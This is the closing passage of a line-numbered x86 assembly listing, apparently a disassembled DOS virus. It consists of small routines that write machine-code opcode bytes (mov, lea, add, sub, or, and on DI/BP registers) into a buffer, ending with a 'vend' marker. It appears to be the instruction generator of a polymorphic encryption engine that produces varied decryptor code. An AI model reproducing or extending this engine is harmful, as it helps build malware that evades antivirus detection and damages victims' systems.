  1027.                 stosb                           ; Store al to es:[di]
  1028.                 retn
  1029. write_45h          endp
  1030.  
  1031.  
  1032. write_4dh          proc    near
  1033.                 mov     al,4Dh                  ; 'M'
  1034.                 stosb                           ; Store al to es:[di]
  1035.                 retn
  1036. write_4dh          endp
  1037.  
  1038. write_47h          proc    near
  1039.                 mov     al,47h                  ; 'G'
  1040.                 stosb                           ; Store al to es:[di]
  1041.                 retn
  1042. write_47h          endp
  1043.  
  1044.  
  1045. write_4fh          proc    near
  1046.                 mov     al,4Fh                  ; 'O'
  1047.                 stosb                           ; Store al to es:[di]
  1048.                 retn
  1049. write_4fh          endp
  1050.  
  1051.  
  1052. write_0bfh_BL_0bfh          proc    near
  1053.                 mov     al,0BFh
  1054.                 stosb                           ; Store al to es:[di]
  1055.                 mov     al,bl
  1056.                 stosb                           ; Store al to es:[di]
  1057.                 mov     al,al
  1058.                 stosb                           ; Store al to es:[di]
  1059.                 retn
  1060. write_0bfh_BL_0bfh          endp
  1061.  
  1062. write_8dh_3eh_BL_BH          proc    near
  1063.                 mov     al,8Dh
  1064.                 stosb                           ; Store al to es:[di]
  1065.                 mov     al,3Eh                  ; '>'
  1066.                 stosb                           ; Store al to es:[di]
  1067.                 mov     al,bl
  1068.                 stosb                           ; Store al to es:[di]
  1069.                 mov     al,bh
  1070.                 stosb                           ; Store al to es:[di]
  1071.                 retn
  1072. write_8dh_3eh_BL_BH          endp
  1073.  
  1074. write_83h_0c7h_DL          proc    near
  1075.                 mov     al,83h
  1076.                 stosb                           ; Store al to es:[di]
  1077.                 mov     al,0C7h
  1078.                 stosb                           ; Store al to es:[di]
  1079.                 mov     al,dl
  1080.                 stosb                           ; Store al to es:[di]
  1081.                 retn
  1082. write_83h_0c7h_DL          endp
  1083.  
  1084.  
  1085. write_0ebh_0          proc    near
  1086.                 mov     al,0EBh
  1087.                 stosb                           ; Store al to es:[di]
  1088.                 mov     al,0
  1089.                 stosb                           ; Store al to es:[di]
  1090.                 retn
  1091. write_0ebh_0          endp
  1092.  
  1093.  
  1094. write_9h_0ffh          proc    near
  1095.                 mov     al,9
  1096.                 stosb                           ; Store al to es:[di]
  1097.                 mov     al,0FFh
  1098.                 stosb                           ; Store al to es:[di]
  1099.                 retn
  1100. write_9h_0ffh          endp
  1101.  
  1102. write_9h_0efh          proc    near
  1103.                 mov     al,9
  1104.                 stosb                           ; Store al to es:[di]
  1105.                 mov     al,0EFh
  1106.                 stosb                           ; Store al to es:[di]
  1107.                 retn
  1108. write_9h_0efh          endp
  1109.  
  1110.  
  1111. write_21h_0efh          proc    near
  1112.                 mov     al,21h                  ; '!'
  1113.                 stosb                           ; Store al to es:[di]
  1114.                 mov     al,0EFh
  1115.                 stosb                           ; Store al to es:[di]
  1116.                 retn
  1117. write_21h_0efh          endp
  1118.  
  1119. write_81h_0efh          proc    near
  1120.                 mov     al,81h
  1121.                 stosb                           ; Store al to es:[di]
  1122.                 mov     al,0EFh
  1123.                 stosb                           ; Store al to es:[di]
  1124.                 retn
  1125. write_81h_0efh          endp
  1126.  
  1127.                 mov     al,29h                  ; ')'
  1128.                 stosb                           ; Store al to es:[di]
  1129.                 mov     al,0C7h
  1130.                 stosb                           ; Store al to es:[di]
  1131.                 retn
  1132.  
  1133. write_29h_0cfh          proc    near
  1134.                 mov     al,29h                  ; ')'
  1135.                 stosb                           ; Store al to es:[di]
  1136.                 mov     al,0CFh
  1137.                 stosb                           ; Store al to es:[di]
  1138.                 retn
  1139. write_29h_0cfh          endp
  1140.  
  1141.                 mov     al,29h                  ; ')'
  1142.                 stosb                           ; Store al to es:[di]
  1143.                 mov     al,0D7h
  1144.                 stosb                           ; Store al to es:[di]
  1145.                 retn
  1146.  
  1147. write_29h_0f7h          proc    near
  1148.                 mov     al,29h                  ; ')'
  1149.                 stosb                           ; Store al to es:[di]
  1150.                 mov     al,0F7h
  1151.                 stosb                           ; Store al to es:[di]
  1152.                 retn
  1153. write_29h_0f7h          endp
  1154.  
  1155.  
  1156. write_29h_0efh          proc    near
  1157.                 mov     al,29h                  ; ')'
  1158.                 stosb                           ; Store al to es:[di]
  1159.                 mov     al,0EFh
  1160.                 stosb                           ; Store al to es:[di]
  1161.                 retn
  1162. write_29h_0efh          endp
  1163.  
  1164. vend            equ     $
  1165.  
  1166. seg_a           ends
  1167.                 end     start
  1168.